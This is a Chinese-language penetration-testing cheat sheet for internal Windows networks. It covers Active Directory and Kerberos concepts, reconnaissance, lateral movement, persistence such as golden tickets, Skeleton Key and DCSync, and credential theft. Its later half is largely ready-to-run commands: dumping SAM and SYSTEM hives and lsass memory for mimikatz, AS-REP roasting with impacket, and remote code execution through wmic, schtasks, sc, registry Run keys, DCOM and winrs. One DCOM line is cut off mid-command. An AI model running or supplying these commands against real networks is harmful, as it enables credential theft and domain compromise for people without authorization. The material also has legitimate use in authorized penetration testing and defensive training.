內網滲透大全
格式未整理,不過都是搞技術的,自行忽略格式,看看相關理論才是最重要吧
-
術語
工作組:工作組是區域網中的一個概念,他是長久的資源管理模式。預設情況下使用工作組方式進行資源管理,將不同的computer按照不同的要求分類到不同的組
域:用來描述一種架構,和“工作組”相對應,由工作組升級而來的高階架構,域 (Domain)是一個有安全邊界的計算機集合( 安全邊界,意思是在兩個域中,一個域中的使用者無法訪問另一個域中的資源)。可以簡單的把域理解成升級版的“工作組”,相比工作組而言,它有一個更加嚴格的安全管理控制機制,如果你想訪問域內的資源,就必須擁有一個合法的身份登陸到該域中,而你對該域內的資源擁有什麼樣的許可權,還需要取決於你在該域中的使用者身份。
* 域術語:
DC:域控,域的建立者
域管理:域控上的管理員
AD活得目錄:Active Directory
NTDS.dit:域使用者帳戶以域資料庫的形式儲存在活動目錄中
Ntdsutil.exe-ntdsutil.exe是域控制器自帶的域資料庫管理工具,從windows Server 2008開始就預設自帶了。因此我們可以通過ntdsutil.exe提取出域中所有的域使用者資訊
常見結構:組織單元(OU)、域(DOMAIN)、域數(tree)、域森林(forest),在域樹內的所有域共享一個活動目錄,這個活動目錄內的資料分散地儲存在各個域內,且每一個域只儲存該域內的資料
活動目錄:
* 帳號集中管理:所有帳號均存在伺服器上,方便對帳號的重新命名/重置密碼。
* 軟體集中管理:統一推送軟體,統一安裝網路印表機等。利用軟體釋出策略分發軟體,可以讓使用者自由選擇安裝軟體。
* 環境集中管理:利用AD可以統一客戶端桌面,IE,TCP/IP等設定。
* 增強安全性:統一部署防毒軟體和掃毒任務,集中化管理使用者的計算機許可權、統一制訂使用者密碼策略等,可監控網路,資料統一管理。
* 更可靠:更少的宕機時間。如:利用AD控制使用者訪問許可權,利用群集、負載均衡等技術對檔案伺服器進行容災設定,更可靠,宕機時間更少。
* 活動目錄為Microsoft統一管理的基礎平臺,其它 ISA、Exchange、SMS 等服務都依賴於這個基礎平臺。預設使用者組: * Builtin容器:Builtin容器是Active Driectory預設建立的第一個容器,主要用於儲存域中本地安全組。 * Computers容器:Computers容器是Active Driectory預設建立的第2個容器,用於存放Windows Server 2008域內所有成員計算機的計算機賬號。 * Domain Controllers容器:Domain Controllers是一個特殊的容器,主要用於儲存當前域控制器下建立的所有子域和輔助域。 * Users容器:Users容器主要用於儲存安裝Active Driectory時系統自動建立的使用者和登入到當前域控制器的所有使用者賬戶 域結構: * 單域:在一般的具有固定地理位置的小公司裡,建立一個域就可以滿足所需。 * 域樹:域樹指若干個域通過建立信任關係組成的集合。一個域管理員只能管理本域的內部,不能訪問或者管理其他的域,二個域之間相互訪問則需要建立 信任關係 (Trust Relation)。信任關係是連線在域與域之間的橋樑 * 域林:由一個或多個沒有形成連續名稱空間的域樹組成,林中每個域樹都有唯一的名稱空間,之間不連續 * 父域和子域:第一個域稱為父域也可以叫根域 ,各分部的域稱為該域的子域 Example: 只有一個test.com的域叫作域林,又叫單域林 有一個域叫test.com和一個域叫abc.test.com,test.com叫父域,abc.test.com子域。子域建立在父域的基礎上,雙方自動擁有雙向信任,這又叫域樹 域信任關係: * 單向信任:單向信任只能是受信任域訪問信任域,而信任域不能訪問受信任域 * 雙向信任:兩個域可以互相訪問 * 父子信任:父域與子域之間自動建立起了雙向信任關係,並且信任關係可以傳遞 * 樹信任:同一個林中,林根域與其他樹根域自動建立雙向信任關係。信任關係可傳遞 * 快捷方式信任:為了加速認證流程而產生的信任關係。需要管理員手工建立,信任關係可向下傳遞 * 林信任:在不更改AD結構的情況下,讓不同林之間可以相互訪問資源。信任關係可向下傳遞 * 外部信任/ 跨林快捷方式信任:類似於同林內的快捷方式信任. 單向, 信任關係不可傳遞 * 領域信任:為了讓AD跟非windows系統的kerberos建立關係而存在的信任 預設使用者krbtgt: 每個Active Directory域都有一個關聯的KRBTGT帳戶,該帳戶用於加密和簽名該域的所有Kerberos票證。這是一個域帳戶,以便所有可寫域控制器都知道該帳戶的密碼,以便解密Kerberos票證以進行驗證。每個只讀域控制器(RODC)都有自己的個人KRBTGT帳戶,用於在自己的站點中對Kerberos票證進行加密/簽名。RODC具有通過該帳戶的反向連結與RODC關聯的特定KRBTGT帳戶 協議(什麼認證過程之類的就不寫了,太麻煩了): kerberos 概念: 1、KDC 服務預設會安裝在一個域的域控中(認證中心) 2、從物理層面看,AD與KDC均為域控制器(Domain Controller) 3、AD其實是一個類似於本機SAM的一個數據庫,全稱叫account database,儲存所有client的白名單,只有存在於白名單的client才能順利申請到TGT 4、KDC 服務框架中包含一個 KRBTGT 賬戶,它是在建立域時系統自動建立的一個賬號,你可以暫時理解為他就是一個無法登陸的賬號,在發放票據時會使用到它的密碼 HASH 值。 TGT:kerberos票據 TGS:服務票據 S4U2Self 通過此擴充套件可以拿到一張標識任意使用者身份的TGS(圖中是去獲取的使用者X身份的TGS),上文已經解釋過了,它的作用其實是協議轉換。當用戶X使用非Kerberos協議請求網站A的時候,網站A是沒有使用者X的TGS的,但是是網站A要去獲取檔案伺服器B的訪問許可權(TGS)需要使用者X的TGS,因此S4U2Self解決了這個問題,網站A伺服器可以使用它去向KDC請求一張使用者X身份的TGS,網站A伺服器再用這張TGS去發起S4U2proxy請求。 S4U2proxy 該拓展作用是使用一張使用者X身份的TGS去向KDC請求一張用於訪問檔案伺服器B的TGS,這張TGS的身份還是使用者X,這樣網站A就可以利用使用者X的許可權去訪問檔案伺服器B上的檔案了 票據: 黃金票據:通過使用krbtgt的hash偽造某個使用者的TGT,可以訪問域內任何一臺computer 白銀票據:通過s4u申請高許可權TGS可以用高許可權的TGS訪問service
-
判斷是否有內網
- 明確獲取目標內網網段地址範圍
- 內網是否有域
-
內網資訊蒐集
-
無域
-
蒐集存活主機
-
存活主機的系統型別
-
蒐集內網的web主機
- CMS識別
- 內網ip和域名的繫結
- 擁有漏洞的站點
-
有資料庫的主機
-
內網路由
-
內網資料庫主機
-
內網印表機 (少見)
-
內網常見的服務
- smb -> net view
- ssh
- vpn
- ftp
- rdp
-
-
有域
- 判斷DC
- 是否多域
- 擁有服務的使用者資訊查詢(spn)
- 檢視域使用者
- 蒐集存活主機(涵蓋無域所收集的)
- 當前域使用者所屬組
- 有ACL屬性的使用者收集
- ldap資訊收集(如果可以)
-
-
橫向
-
無域
- 各種win exp可利用的洞
- MS08-067
- MS17-010
- SMBGhost
- 未知洞
- smb hash釣魚
- hash傳遞攻擊
- web攻擊
- 釣魚管理員
- 各種win exp可利用的洞
-
有域
- 各種win exp可利用的洞
- ldap攻擊
- kerberos攻擊
- 未要求Kerberos驗證的使用者
- kereros非約束委派攻擊
- 非約束委派+Spooler印表機服務 製作黃金票據
- kerberos非約束委派中繼攻擊
- kerberos約束委派攻擊
- 受限委派 + DCSync 維持域許可權
- MS14-068攻擊
- kerberos資源委派攻擊(從widnows server 2012開始才有)->ACL屬性的使用者攻擊
- GPP漏洞
-
-
許可權維持
- 有域
- 變種金票 (適用於windows server 2008或以下,12開始不能使了)
- 受限委派 + DCSync 維持域許可權
- 非約束委派+Spooler印表機服務 製作黃金票據
- Kerberoasting (利用powershell請求SPN的TGS,然後匯出破解得到server的密碼(感覺沒啥必要破解))
- DSRM密碼同步
- 利用GPO給域內的主機批量執行指令碼
- SSP
- Skeleton Key
- Hook PasswordChangeNotify
- LAPS
- 有域
-
檢查能否出網
- ping
- tracert -d -h
- curl
-
憑證查詢
- cmdkey /list查詢當前憑證
- klist查詢當前票據
- 登入的密碼 or hash
- 瀏覽器密碼
- 各種服務的密碼
- FTP
- mysql
- mssql
- ssh
- vnc
-
內網釣魚
- NTLM-Relay
- smb資原始檔跳轉
- 惡意lnk
- 其他
-
日內網常見的入口點
- web拿到shell->上線
- sqlmap os-sell->上線
- 附件釣魚->釣魚
- 其他
-
域內/內網 常用命令分類
判斷內網是否域環境
net config workstation #判斷是否顯示登入域,如果有則代表存在域環境(查詢機器屬於那個域)
net user /domain #如果返回正常,則代表有域環境
判斷內網DC
ipconfig /all #DNS地址,如果有兩個不同的DNS可能有多個DC
set l #獲取域控主機名然後去ping主機名
net time /domain #查詢域主機名,ping主機名得到ip
ping
埠掃描尋找內網開放53埠(DNS解析)的主機或者開了88埠(Kerberos服務),更準確一點確認的就是53和88埠一起開放的機子
多域判斷
nltest /domain_trusts #查詢域信任關係 (abc.xxx.com,xxx.com這種是域樹,xxx.com,ccc.com這種叫域林,沒域信任或只有個域的就是單域)
SPN查詢
setspn -T
使用powershell指令碼查詢:
powershell -f GetUserSPNs.ps1(圖片補充)
倉庫地址:https://raw.githubusercontent.com/nidem/kerberoast/master/GetUserSPNs.ps1
Rubeus查詢:(獲取是spn使用者的hash)
Rubeus.exe kerberoast(圖片補充)
域使用者查詢
net user /domain #域使用者
net user
net group /domain #查詢域使用者組
net group "<group_name>" /domain #查詢某個域使用者組(檢視net group /domain列出來的域使用者組)
net group "domain admins" /domain #域管理
net group "Domain Controllers" /domain #域控列表查詢
蒐集存活主機
arp -a | findstr 動態
工具:
* S掃描器
* nmap
* Goby
* IP Scan
* masscan
* 其他
內網共享查詢
net share
net view
net view /domain
- 攻擊方法
有域
未要求Kerberos驗證的使用者
要求:
* 擁有域使用者列表
使用者如下示例(補充圖片)
使用impacket工具:
python3 GetNPUsers.py DOMAIN/ -usersfile /tmp/user.txt -format john -outputfile /tmp/out.txt -dc-ip 192.168.1.109
(補充圖片)
kerberos非約束委派攻擊:
* 委派的是主機->得到被委派主機的許可權
* 委派的是使用者->得到被委派主機的許可權
kerberos約束委派攻擊:
* 得到被委派的使用者賬戶或hash或TGT
查詢了設定非委派約束的使用者
Ps:域控制器主機賬戶預設開啟非限制委派
利用SharpView(PowerView的C#版)
https://github.com/tevora-threat/SharpView
該工具的命令格式是:SharpView.exe
執行:
SharpView.exe Get-Netuser -Unconstrained -Domain DOMAIN.local(圖片補充) 感覺還是setspn查出來的靠譜
SharpView.exe Get-NetUser -Filter "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" -Domain DOMAIN.local
查詢設定了約束委派的使用者:
Get-DomainUser -TrustedToAuth -Domain lab.local -Verbose | fl
Get-DomainComputer -TrustedToAuth -Domain lab.local -Verbose | fl
新版PowerView
Get-NetUser -Filter "(&(samAccountType=805306368)(msds-allowedtodelegateto=))" -Domain lab.local
Get-NetComputer-Filter "(&(samAccountType=805306369)(msds-allowedtodelegateto=))" -Domain lab.local
域內常用的工具:
mimikatz
kekeo
Rubeus
Spooler
lazagne
Bloodhound
PowerView
impacket套件
埠轉發:
netsh
ssh
reGeorg
ew
lcx
常見獲取憑證的手法:
登錄檔dump:
reg save hklm\sam sam.hive
reg save hklm\system system.hive
reg save hklm\security security.hive
lsass dump:
prodump匯出:
prodump -ma lsass.exe lsass.dump
mimikatz:
sekurlsa::mimidump lsass.dump
sekurlsa::logonpasswords
mimikatz匯出:
privilege::debug
token::elevate
lsadump::sam
常見遠端連線:
* ipc
net use \1.1.1.1\ipc$ “password” /user:username
* wmic
wmic /user:"jumbolab.com\win7user" /password:"password" /node:172.16.127.184 process call create "notepad"
(powershell) Invoke-WmiMethod -class win32_process -name create -argumentlist 'notepad' -ComputerName 172.16.127.184 -Credential ‘jumbolab.com\win7user’
* schtasks
schtasks /create /s 1.1.1.1 /u domain\Administrator /p password /ru “SYSTEM” /tn “windowsupdate” /sc DAILY /tr “calc” /F
* at
at \\1.1.1.1 15:15 ca
* sc
sc \\1.1.1.1 create windowsupdate binpath= “calc”
sc \\1.1.1.1 start windowsupdate
* reg
reg add \\1.1.1.1\HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v myentry /t REG_SZ /d "calc"
* DCOM
net use \\1.1.1.1 “password” /user:domain.com\username
powershell
a->
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","1.1.1.1"))
$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c calc.exe","Minimized")
b->
$com = [Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39',"1.1.1.1")
$obj = [System.Activator]::CreateInstance($com)
$item = $obj.item()
$item.Document.Application.ShellExecute("cmd.exe","/c calc.exe","c:\windows\system32",$null,0)
c->
$com = [Type]::GetTypeFromCLSID('C08AFD90-F2A1-11D1-8455-00A0C91F3880',"1.1.1.1")
$obj = [System.Activator]::CreateInstance($com)
$obj.Document.Application.ShellExecute("cmd.exe","/c
* winrm
1.winrs -r:http://1.1.1.1:5985 -u:Administrator -p:password "whoami"
2.winrs -r:http://dcserver.jumbolab.com:5985 -u:jumbolab\administrator -p:password "whoami "